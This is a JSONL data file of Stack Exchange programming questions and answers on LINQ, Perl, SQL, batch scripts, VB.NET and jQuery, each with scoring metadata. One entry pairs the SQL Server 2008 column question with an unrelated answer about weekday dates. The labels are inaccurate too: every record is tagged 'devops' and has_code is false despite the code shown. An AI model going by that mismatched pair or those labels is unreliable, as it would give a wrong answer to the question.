{"id": "hf_e1dda1a5f659", "question": "<p>Into some view data i have put the result of an anonymous type:</p>\n\n<pre><code>            var projectData = from p in db.Projects\n                          orderby p.title\n                          select new\n                          {\n                              Title = p.title,\n                              DevURL = p.devURL ?? \"N/A\",\n                              QAURL = p.qaURL ?? \"N/A\",\n                              LiveURL = p.liveURL ?? \"N/A\",\n                              Users = p.GetUsers().MakeUserList()\n                          };\n\n        ViewData[\"ProjectSummary\"] = projectData;\n</code></pre>\n\n<p>How do I iterate through this view data in the MVC view on the front end to say, make a table of results?</p>\n", "question_body": "", "answer": "The problem is not that it's an anonymous type.  The problem is that it's merely a lazy-evaluated IQueryable<> object, and it hasn't been evaluated yet.\nI can't answer for ASP.NET MVC, but in the very similar Monorail, you would have to convert it from an iterator into an actual collection:\n```\n```\nvar projectData = (from p in db.Projects\n                      orderby p.title\n                      select new\n                      {\n                          Title = p.title,\n                          DevURL = p.devURL ?? \"N/A\",\n                          QAURL = p.qaURL ?? \"N/A\",\n                          LiveURL = p.liveURL ?? \"N/A\",\n                          Users = p.GetUsers().MakeUserList()\n                      }).ToList();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.284804"}
{"id": "hf_4c22ab8f5238", "question": "<p>I have an <code>.xsd</code>, <code>.vb</code>, <code>.xsc</code>, and <code>.xss</code> file for a dataset in Visual&nbsp;Studio&nbsp;2008 that I copied over from another Visual Studio project, however I need to make changes to the dataset. Thus I got into the XSD file, created new columns, deleted ones that aren't needed, etc., etc.  However I realized when I attempted to use the new dataset I did not have the Visual Basic code behind the scenes. This code is typically found in <code>dataset.designer.vb</code>. When I copied the old one over of course it was no longer valid since columns changed.</p>\n\n<p>How I can force Visual&nbsp;Studio&nbsp;2008 to use a <code>.xsd</code> file and to have it create/update its designer code?</p>\n", "question_body": "", "answer": "Unfortunately, this is in the gray area of things things that I can do when I need to, but I haven't needed to do enough to impart the knowledge to others.\nAll I know is that\n```\n*.designer.vb\n```\nmeans that this code was generated by Visual Studio, and if it generated it once it can do it again. Additionally, the very few times (maybe twice, both in Visual Studio 2005) that I have done this, it seemed like it was as simple as adding the  *.xsd file to Solution Explorer. If that alone doesn't do it, try showing all files or right/double clicking on the *.xsd.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.379744"}
{"id": "hf_0c72e45b58cc", "question": "<p>I'm trying to insert a comment character into a string something similar to this:</p>\n\n<pre><code>-CreateVideoTracker VT1 \"vt name\"\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>-CreateVideoTracker VT1 # \"vt name\"\n</code></pre>\n\n<p>The VT1 word can actually be anything, so I'm using the regex</p>\n\n<pre><code>$line =~ s/\\-CreateVideoTracker \\w/\\-CreateVideoTracker \\w # /g;\n</code></pre>\n\n<p>which gives me the result:</p>\n\n<pre><code>-CreateVideoTracker w #T1 \"vt name\"\n</code></pre>\n\n<p>Is there any way to do this with a single regex, or do I need to split up the string and insert the comment manually?</p>\n", "question_body": "", "answer": "```\n```\n$line =~ s/^(\\-CreateVideoTracker)\\s+(\\w+)/$1 $2 #/;\n```\n```\nThe bracketed expressions (known as \"capture buffers\") in the first half of the regexp are referenced as\n```\n$1\n```\n,\n```\n$2\n```\n. etc in the second half.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.427489"}
{"id": "hf_bd70f3787719", "question": "<p>What is the preferred way to insert strings that can contain both single and double quotes (\",') into MySql using DBI?  For example, <code>$val1</code> and <code>$val2</code> can contain quotes:</p>\n\n<pre><code>my $dbh = DBI-&gt;connect( ... );\nmy $sql = \"insert into tbl_name(col_one,col_two) values($val1, $val2)\";\nmy $sth = $dbh-&gt;prepare($sql);\n$sth-&gt;execute();\n</code></pre>\n", "question_body": "", "answer": "Use a bound query using\n```\n```\n$sth = $dbh->prepare(\"insert into tbl_name(col_one,col_two) values(?,?)\");\n$sth->execute($val1, $val2);\n```\n```\nIf you use bound variables, everything is escaped for you.\nUpdate: Changed my example to correspond with the example edited into the question.\nUpdate: I don't know why Adam deleted his answer, but if for some reason you can't use bound variables (aka \"placeholders\"), you can also use\n```\n$dbh->quote($var)\n```\non the variable.  For example:\n```\n```\n$sql = sprintf \"SELECT foo FROM bar WHERE baz = %s\",\n    $dbh->quote(q(\"Don't\"));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.463594"}
{"id": "hf_e8654224f14a", "question": "<p>I'm creating a control and need to pass it the current logon user as a parameter (declaratively)</p>\n\n<p>I tried this but didn't work (I got \"&lt;%= User.Identity.Name %>\" as value):</p>\n\n<pre><code>&lt;cc1:MyControl id=\"myid\" runat=\"server\" User=\"&lt;%= User.Identity.Name %&gt;\" /&gt;\n</code></pre>\n\n<p>Is there a way to do it?</p>\n", "question_body": "", "answer": "Try using:\n```\n```\nUser=\"<%= User.Identity.Name %>\"\n```\n```\n%= is for output\n%# is for databinding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.511279"}
{"id": "hf_5592d0340f8c", "question": "<p>Is there any way in a Win32 environment to \"tune\" the timeout on a socket <code>connect()</code> call?  Specifically, I would like to increase the timeout length.  The sockets in use are non-blocking.  Thanks!</p>\n", "question_body": "", "answer": "Yes, this is possible.\nIf you're in non-blocking mode after\n```\nconnect()\n```\n, you normally use\n```\nselect()\n```\nto wait till I/O is ready. This function has a parameter for specifying the timeout value and will return 0 in case of a timeout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.535152"}
{"id": "hf_176de2c71cd1", "question": "<p>I have an implementation of default handler. When it gets to a &nbsp; in the character data it stops parsing. Is there any reason that it is doing this? Are there additional properties that I need to set in order for it to deal with &amp;nbsp?</p>\n", "question_body": "", "answer": "```\n&nbsp;\n```\nis not a valid xml entity. You might try replacing it with\n```\n&#160;\n```\ninstead, it does the same thing (non-breaking space).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.570483"}
{"id": "hf_ed966bd87f5a", "question": "<p>I'm automating some source control software functionality using a dot bat script but given that our svn repos are hosted in a *NIX box, I'm facing the eternal case problem between these two worlds.</p>\n\n<p>Is there any cmd.exe function to convert the value of the Windows system variable %USERNAME% to lower case?</p>\n\n<p>Thanks much in advance!</p>\n", "question_body": "", "answer": "a quick google found\nthis\n...\n```\n```\n@echo off\ngoto :end_remarks\n*************************************************************************************\n*\n*\n*    authored:Sam Wofford\n*    Returns lowercase of a string\n*    12:13 PM 11/13/02\n**************************************************************************************\n:end_remarks\nsetlocal\nset errorlevel=-1\nif {%1}=={} echo NO ARG GIVEN&call :Help &goto :endit\nif {%1}=={/?} call :Help &goto :endit\ncall :set_LCASE_array a b c d e f g h i j k l m n o p q r s t u v w x y z\n\n:start\nset input=%1\nset input=%input:\"=%\nset totparams=0\ncall :COUNT_PARAMS %input%\ncall :MAKE_LOWERCASE %input%\nset errorlevel=\necho %convertedstring%\nendlocal\ngoto :eof\n:endit\necho %errorlevel%\nendlocal\ngoto :eof\n\n:MAKE_LOWERCASE\n:nextstring\nif {%1}=={} goto :eof\nset string=%1\nset /a params+=1\nset STRINGCONVERTED=\nset pos=0\n:NEXT_CHAR\nset onechar=%%string^:^~%pos%,1%%\nfor /f \"tokens=1,2 delims==\" %%a in ('set onechar') do for /f %%c in ('echo %%b') do call :checkit %%c\nif not defined STRINGCONVERTED goto :NEXT_CHAR\nshift /1\nif %params% LSS %totparams% set convertedstring=%convertedstring% &:add one space,but not at end\ngoto :nextstring\ngoto :eof\n\n:Help\necho USAGE:%~n0 string OR %~n0 \"with spaces\"\necho function returns the lowercase of the string or -1 (error)\necho strings with embedded spaces needs to be in quotes Ex. \"lower case\"\necho in a batch NTscript \"for /f %%%%A in ('lcase STRING') do set var=%%%%A\"\nset errorlevel=\ngoto :eof\n\n:checkit\nset LCFOUND=\nif /i {%1}=={echo} set STRINGCONVERTED=Y&goto :eof\nset char=%1\nfor /f \"tokens=2 delims=_=\" %%A in ('set LCASE_') do call :findit %%A %char%\n:skipit\nif defined LCFOUND (set convertedstring=%convertedstring%%ucletter%) else (set convertedstring=%convertedstring%%char%)\nset /a pos+=1\ngoto :eof\n\n:set_LCASE_array\n:setit\nif {%1}=={} goto :eof\nset LCASE_%1_=%1\nSHIFT /1\ngoto :setit\n\n:findit\nif defined LCFOUND goto :eof\nset ucletter=%1\nset lcchar=%2\nif /i {%ucletter%}=={%lcchar%} set LCFOUND=yes\ngoto :eof\n\n:COUNT_PARAMS\n:COUNTPARAMS\nif {%1}=={} goto :eof\nset /a totparams+=1\nshift /1\ngoto :COUNTPARAMS\n```\n```\nadd that as a file (lowercase.cmd) to your path and you should be able to call it as \"Lowercase.cmd %Username%\", you could pipe it into another command if needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.644231"}
{"id": "hf_b0480821097e", "question": "<p>Some databases support commands such as:</p>\n\n<pre><code>SELECT TOP 10 START AT 10 * FROM &lt;TABLE&gt;\n</code></pre>\n\n<p>Essentially I need to pull the first 10 records, then the next 10, then the next 10 etc.  Maybe there is another way to do this but in the past I've done it like the above for databases that support 'START AT'.</p>\n", "question_body": "", "answer": "```\n```\nSELECT Top 10 * \nFROM Table \nWHERE <primary key> Not IN (\n    SELECT Top 10 <primaryKey> \n    FROM Table \n    ORDER BY <primary Key> ASC) \nORDER BY <primary Key> ASC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.692283"}
{"id": "hf_dced64d21d67", "question": "<p>I have a Lotus Domino server with a truly astounding number of Domino databases on it, arranged in various folders. </p>\n\n<p>Is there some means of exporting a list of all these databases, with their titles and creators' names, in a spreadsheet format of some kind? I have the Domino Admin and Domino Designer software, and I have or can get whatever access rights I'd need.</p>\n", "question_body": "", "answer": "You'd think there'd be a way in the Domino Admin, but there's no way to export the list.  So, your best bet I think is to use the Domain Catalog database.  To build it, go into the server configuration doc > Server Tasks > and turn on the Domain Catalog.  Then the catalog.nsf database will be built and will contain all the databases in your domain.  You can customize the views to include the information you need.\nThen finally, you can go into a view, select all the documents and click Edit > Copy Selected As Table.  Then paste that into a spreadsheet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.739577"}
{"id": "hf_70c0e95924a4", "question": "<pre><code>For Each line As String In System.IO.File.ReadAllLines(\"file.txt\")\n'Do Something'\nNext\n</code></pre>\n\n<p>and</p>\n\n<pre><code>Using f As System.IO.FileStream = System.IO.File.OpenRead(\"somefile.txt\")\n    Using s As System.IO.StreamReader = New System.IO.StreamReader(f)\n            While Not s.EndOfStream\n                    Dim line As String = s.ReadLine\n\n                    'put you line processing code here\n\n            End While\n    End Using\nEnd Using\n</code></pre>\n\n<p>are both showing as mostly red, I'm running a clean install of MS VS2005 and these codes were both recomended to me, am I missing something else I need to install or declare?</p>\n", "question_body": "", "answer": "FROM Msdn you should do the following to read all lines\n```\n```\nDim Lines As String()\nLines = System.IO.File.ReadAllLines(\"file.txt\")\n```\n```\nFor the second example something like this might work\n```\n```\nDim sr as New StreamReader(\"somefile.txt\")\nDim line as String = sr.ReadLine()\nDo While Not line is Nothing\n    line = sr.ReadLine()\n    'do something else\nLoop\n```\n```\nI just created the following VB.Net Console app and it works fine:\n```\n```\nImports System.IO\n\nModule Module1\n\nSub Main()\n    Dim sr As New StreamReader(\"somefile.txt\")\n    Dim line As String = sr.ReadLine()\n    Do While Not line Is Nothing\n        line = sr.ReadLine()\n        'do something else\n    Loop\n\nEnd Sub\n\nEnd Module\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.774887"}
{"id": "hf_81a4ad4092c7", "question": "<p>If you have a sequence of block elements and you wanted to place margin in between them. </p>\n\n<p>Which do you prefer, margin-top or margin-bottom or both? Why?</p>\n", "question_body": "", "answer": "I always use\n```\nmargin-bottom\n```\n, which means there is no unnecessary space before the first element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.816708"}
{"id": "hf_820a7f0af88b", "question": "<p>I'm looking for a library to read a SWF file and let me parse through its actionscript and header information. Is there anything out there that will work?</p>\n", "question_body": "", "answer": "I do not know of any libraries (including .NET) that let you read and parse (or reverse engineer) the contents of SWF's files. The ActionScript you are referring to is compiled down to byte code during compilation so you will not find the actual ActionScript source code in the SWF file.\nFor more information in the SWF file format I suggest you have a look at the\nofficial specifications\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.856448"}
{"id": "hf_6a5e28ff07d2", "question": "<p>My project requires a file where I will store key/value pair data that should be able to be read and modified by the user. I want the program to just expect the keys to be there, and I want to parse them from the file as quickly as possible.</p>\n\n<p>I could store them in XML, but XML is way to complex, and it would require traversing nodes, and child nodes and so on, all I want is some class that takes a file and generates key value pairs. I want as little error handling as possible, and I want it done with as little code as possible.</p>\n\n<p>I could code a class like that myself, but I'd rather learn how it's don'e in the framework than inventing the wheel twice. Are there some built in magic class in .NET (3.5) that are able to do so?</p>\n\n<pre><code>MagicClass kv = new MagicClass(\"Settings.ini\"); // It doesn't neccesarily have to be an INI file, it can be any simple key/value pair format.\nstring Value1 = kv.get(\"Key1\");\n...\n</code></pre>\n", "question_body": "", "answer": "I don't know of any builtin class to parse ini file. I've used\nnini\nwhen needed to do so. It's licensed under the MIT/X11 license, so doesn't have any issue to be included in a closed source program.\nIt's very to use. So if you have a Settings.ini file formatted this way:\n```\n```\n[Configuration]\nName = Jb Evain\nPhone = +330101010101\n```\n```\nUsing it would be as simple as:\n```\n```\nvar source = new IniConfigSource (\"Settings.ini\");\nvar config = source.Configs [\"Configuration\"];\n\nstring name = config.Get (\"Name\");\nstring phone = config.Get (\"Phone\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.893304"}
{"id": "hf_cd222e8d4f0f", "question": "<p>I am trying to setup a failover location for MOSS. The current farm is built on 32 bit Windows 2003. The servers ar the failover location are all 64 bit Windows 2008.</p>\n\n<p>Is there any way to make these two environments talk and stay in sync? I have considered a \"stretched\" farm configuration, but that won't work unles the bit width of both locations are the same.</p>\n\n<p>The current database server for MOSS is replicated to our failover location using clustering and is visible at both locations.</p>\n", "question_body": "", "answer": "You can mix 32 bits and 64 bits in the same farm, it's fully supported.\nHowever, it's highly recommenced to keep each tiers in the same bit width (for example all WFE 64 bits, application server 32 bits, SQL servers 64 bits).\nFrom msdn @\nhttp://technet.microsoft.com/en-us/library/cc261700.aspx\nYou can deploy an Office SharePoint Server 2007 farm on a mix of 32-bit and 64-bit servers, provided that you maintain architecture homogeneity at each topology layer. For example, you should not mix 32-bit and 64-bit Web front-end (WFE) servers, but you may use 64-bit database servers in a farm with 32-bit WFE servers and application servers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.916810"}
{"id": "hf_94e5d5ce6494", "question": "<p>I have a number of web apps running on several IIS6/Server 2003 boxes. They run well and are happy. They are all asp.net web apps and use .NET 3.5.</p>\n\n<p>What, if any, would be valid reasons for contemplating moving the web apps to IIS7/Server 2008?</p>\n", "question_body": "", "answer": "Eventually, Microsoft will discontinue Server 2003 support. Admittedly, that won't be for several years, so it doesn't impact you today.\nImproved support for ASP.NET MVC. This is probably the big one for most of us. You can get ASP.NET MVC working on IIS6, but there are\nsome hoops to jump through\n.\nI'd give you more, but I myself am not yet on Server 2008 yet, and have nothing else to give. Presumably Vista (which I do use, both at work and at home) has the \"same\" IIS7 as 2008 does -- the UIs certainly look very similar -- but I wouldn't consider my experience there to be useful to your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.987600"}
{"id": "hf_d479e04f06b6", "question": "<p>We have a few SGI Onyx 350 and Orgin 350 systems running IRIX 6.5.x that we would like to install Subversion on.  One of them will likely be used as a simple repository server running svnserve.  The others will only need client installs.</p>\n\n<p>The Subversion webpage has links to unofficial binaries for many *NIX systems, including HP-UX, Solaris, AIX, the BSDs and Linux distros.  Unfortunately, there aren't any for IRIX.  A Google search also comes up empty.</p>\n\n<p>So, is there someplace on the web that publishes IRIX binaries for Subversion?  </p>\n\n<p>If not, does anyone have experience compiling SVN from source on such systems?  How hard is it to track down all of the dependencies?  Are there any caveats we should be aware of?</p>\n", "question_body": "", "answer": "The guy that maintains\nThis website\nsells secondhand SGI gear.  He sells them with CD's of contributed software.  Maybe he can do something for you.\nAlso,\nThe SGI forum on nekochan.net\nhas postings of contributed software.  You may be able to ask for something there.\nSubversion is fairly pernickety about its dependencies (as you have probably already worked out).\nThis link\ngives some of the dependencies for installing on Redhat 7.3, which dates back to the early 2000's (I don't know what minor release of Irix you're using).  You may find it to be a reasonable guide to the dependencies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.081579"}
{"id": "hf_5ec868de8d7e", "question": "<p>Let's say we have these tables;</p>\n\n<p>table user:<br>\n- id<br>\n- username<br>\n- email</p>\n\n<p>table user2group:<br>\n- userid<br>\n- groupid</p>\n\n<p>table group:<br>\n- id<br>\n- groupname</p>\n\n<p>How do I make one query that returns all users, and the groups they belong to (as an array in the resultset or something..)</p>\n", "question_body": "", "answer": "```\n```\nselect u.id, u.username, u.email, g.groupid, g.groupname\nfrom user u \njoin user2group ug on u.userid=ug.userid\njoin group g on g.groupid=ug.groupid\norder by u.userid\n```\n```\nAs you are looping through the result set, each time you see a new userid make a new user object (or whatever) and add the groups to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.176827"}
{"id": "hf_42e77b063e4e", "question": "<p>It is possible to get stacktrace using System.Diagnostics.StackTrace, but thread has to be suspended. Suspend and Resume function are obsolete, so I expect that better way exists.</p>\n", "question_body": "", "answer": "I think that if you want to do this without the cooperation of the target thread (such as by having it call a method that blocks it on a Semaphore or something while your thread does the stacktrace) you'll need to use the deprecated APIs.\nA possible alternative is the use the\nCOM-based ICorDebug\ninterface that the .NET debuggers use. The MDbg codebase might give you a start:\n```\nhttp://blogs.msdn.com/jmstall/archive/2005/11/07/views_on_cordbg_and_mdbg.aspx\n```\n```\nhttp://geekswithblogs.net/johnsPerfBlog/archive/2008/10/13/mdbg-a-managed-wrapper-around-icordebug.aspx\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.247964"}
{"id": "hf_8473e93d9bcd", "question": "<p>During undergrad i opted to take a network programming course using the POSIX sockets for linux.  As a reference we used the book Internetworking using TCP/IP (comer and stevens). 2008 its a pretty dated and still applicatable texts which takes one through several server designs. </p>\n\n<p>One design that is not really featured in the book is the case there a client connects to the backend application server sends multiple requests to the server over a single TCP connection.  Since multiple requests comes via the slave socket to the server and responses send via the same slave socket.  The slave socket is becomes congested as response and requests are received via the same socket, would it be a better option to allow for a second TCP connection between the to end-points to allow full duplex communication speed?  What other architectures can be used to improve server performance?</p>\n", "question_body": "", "answer": "Since a socket is simply a number attached to a packet (call it a routing number or address), I can't imagine the socket itself getting congested.\nYour code handling the socket could, but that should be pretty easily fixed by distributing packets as they arrive.\nYou could also code incoming and outgoing packet processing to happen on different threads, or even queue packets for distribution to many threads.\nBut I really don't see the original supposition as being completely accurate.  I could be wrong...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.271714"}
{"id": "hf_65beb98cba4a", "question": "<p>Suppose I have a python object <code>x</code> and a string <code>s</code>, how do I set the attribute <code>s</code> on <code>x</code>? So:</p>\n\n<pre><code>&gt;&gt;&gt; x = SomeObject()\n&gt;&gt;&gt; attr = 'myAttr'\n&gt;&gt;&gt; # magic goes here\n&gt;&gt;&gt; x.myAttr\n'magic'\n</code></pre>\n\n<p>What's the magic? The goal of this, incidentally, is to cache calls to <code>x.__getattr__()</code>. </p>\n", "question_body": "", "answer": "```\n```\nsetattr(x, attr, 'magic')\n```\n```\nFor help on it:\n```\n```\n>>> help(setattr)\nHelp on built-in function setattr in module __builtin__:\n\nsetattr(...)\n    setattr(object, name, value)\n    \n    Set a named attribute on an object; setattr(x, 'y', v) is equivalent to\n    ``x.y = v''.\n```\n```\nHowever, you should note that you can't do that to a \"pure\" instance of\n```\nobject\n```\n. But it is likely you have a simple subclass of object where it will work fine. I would strongly urge the O.P. to never make instances of object like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.310740"}
{"id": "hf_c75db73fd0d1", "question": "<p>Is there a way to make OpenGL transform a general vector I give it with the current modelview matrix and get the result back?</p>\n\n<p>The obvious way is to query the modelview matrix and do the multiplication myself but \nI am almost sure there should be a way to make OpenGL do this for me.</p>\n", "question_body": "", "answer": "You are right, you have to get the modelview matrix and transform the vector yourself.\nFor a confirm, see\nthis link\nat paragraph 9.120.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.334772"}
{"id": "hf_636456d7e1b3", "question": "<p>Given a week-day (1-7), how can I calculate what that week-day's last date was?</p>\n\n<p><strong>Example:</strong> Today is <strong>Wednesday</strong>, 2008/11/12, and I want to know what last <strong>Friday's</strong> date was.</p>\n", "question_body": "", "answer": "If\n```\ntoday\n```\nis the current day of the week, then you can use something like:\n```\n```\ndays_since_friday = (((today - 1) + 7) - (6 - 1)) % 7\n```\n```\nThis assumes that Friday is represented by day number 6 of the week (that is, 1 represents Sunday). Then subtract\n```\ndays_since_friday\n```\nfrom the current date, and you'll get the date of the end of last week.\nThe above expression is slightly more complicated than it needs to be. If your day-of-week started at 0 for Sunday, it simplifies to:\n```\n```\ndays_since_friday = ((today + 7) - 5) % 7\n```\n```\nor\n```\n```\ndays_since_friday = (today + 2) % 7\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.397696"}
{"id": "hf_de5c8f07f58b", "question": "<p>For some reason sql server 2008 is not allowing me to add columns to an existing table.</p>\n\n<p>The table is empty btw.</p>\n\n<p>Is there a setting that prevents modifying tables in sql 2008?</p>\n", "question_body": "", "answer": "If\n```\ntoday\n```\nis the current day of the week, then you can use something like:\n```\n```\ndays_since_friday = (((today - 1) + 7) - (6 - 1)) % 7\n```\n```\nThis assumes that Friday is represented by day number 6 of the week (that is, 1 represents Sunday). Then subtract\n```\ndays_since_friday\n```\nfrom the current date, and you'll get the date of the end of last week.\nThe above expression is slightly more complicated than it needs to be. If your day-of-week started at 0 for Sunday, it simplifies to:\n```\n```\ndays_since_friday = ((today + 7) - 5) % 7\n```\n```\nor\n```\n```\ndays_since_friday = (today + 2) % 7\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.421933"}
{"id": "hf_76883901368b", "question": "<p>Trying to create several layers of folders at once C:\\pie\\applepie\\recipies\\\nwithout using several different commands, is there an easy way similar to Directory.CreateDirectory()</p>\n", "question_body": "", "answer": "Here's some code I used in one of my projects.  It requires a reference be added to the project for the file system object.\nFirst, click Project -> References, scroll down to \"Microsoft Scripting Runtime\" and select it.  Then you can use this function:\n```\n```\nPublic Sub MakePath(ByVal Folder As String)\n\n    Dim arTemp() As String\n    Dim i As Long\n    Dim FSO As Scripting.FileSystemObject\n    Dim cFolder As String\n\n    Set FSO = New Scripting.FileSystemObject\n\n    arTemp = Split(Folder, \"\\\")\n    For i = LBound(arTemp) To UBound(arTemp)\n        cFolder = cFolder & arTemp(i) & \"\\\"\n        If Not FSO.FolderExists(cFolder) Then\n            Call FSO.CreateFolder(cFolder)\n        End If\n    Next\n\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.446173"}
{"id": "hf_04a9d63e652b", "question": "<p>Is there any IDE (like VS) with drag and drop support for building python GUI, connecting to dbs etc?\nEventhough I am an emacs guy, I find it much easier to create GUI with VS.</p>\n", "question_body": "", "answer": "Eclipse\nhas python support.\nThere's also\nIDLE\nor\nWingware\n, though I'm not sure of their GUI support.\nI'm sure a good\ngoogle search\nwould turn up more.\nBut in the end, I doubt it.  Python is dependent on third-party widget sets like Qt, Tk, Gtk, wxWidgets, etc for GUI support.  Each of those will have their own system for laying things out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.494243"}
{"id": "hf_f6e820e59413", "question": "<p>I'm trying to duplicate the effect used in the Firefox search box where, if the search field does not have focus ( the user has not clicked inside of it ), it just says <i>Google</i> in gray text. Then, when the user clicks in the box, the text is removed and they can fill in their search term.</p>\n\n<p>I want to use this to provide example field data for a web form.</p>\n\n<p>JQuery syntax would be preferable to plain javascript, but plain JS would be fine too.</p>\n\n<p>Thanks SO Hive Mind!</p>\n", "question_body": "", "answer": "```\n$(selector).text('Google'); \n  $(selector).click(function(){\n    $(this).text('');\n  });\n```\nThere's probably a more elegant way to do it, but this assumes your box has no text in it at page load.  If it does you can remove the first line.\nI haven't tested this, but it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.518199"}
